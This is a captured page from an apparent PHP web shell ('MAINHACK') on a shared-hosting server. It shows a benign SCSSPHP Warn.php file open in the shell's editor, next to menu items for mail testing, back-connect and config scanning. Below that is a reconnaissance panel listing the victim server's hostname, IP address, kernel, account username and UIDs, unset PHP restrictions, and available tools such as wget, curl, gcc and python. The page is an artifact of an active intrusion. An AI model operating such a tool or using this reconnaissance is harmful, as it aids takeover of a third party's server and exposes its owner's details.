[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Warn.php
<?php /** * SCSSPHP * * @copyright 2012-2020 Leaf Corcoran * * @license http://opensource.org/licenses/MIT MIT * * @link http://scssphp.github.io/scssphp */ namespace ScssPhp\ScssPhp; final class Warn { /** * @var callable|null * @phpstan-var (callable(string, bool): void)|null */ private static $callback; /** * Prints a warning message associated with the current `@import` or function call. * * This may only be called within a custom function or importer callback. * * @param string $message * * @return void */ public static function warning($message) { self::reportWarning($message, false); } /** * Prints a deprecation warning message associated with the current `@import` or function call. * * This may only be called within a custom function or importer callback. * * @param string $message * * @return void */ public static function deprecation($message) { self::reportWarning($message, true); } /** * @param callable|null $callback * * @return callable|null The previous warn callback * * @phpstan-param (callable(string, bool): void)|null $callback * * @phpstan-return (callable(string, bool): void)|null * * @internal */ public static function setCallback(callable $callback = null) { $previousCallback = self::$callback; self::$callback = $callback; return $previousCallback; } /** * @param string $message * @param bool $deprecation * * @return void */ private static function reportWarning($message, $deprecation) { if (self::$callback === null) { throw new \BadMethodCallException('The warning Reporter may only be called within a custom function or importer callback.'); } \call_user_func(self::$callback, $message, $deprecation); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.23 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252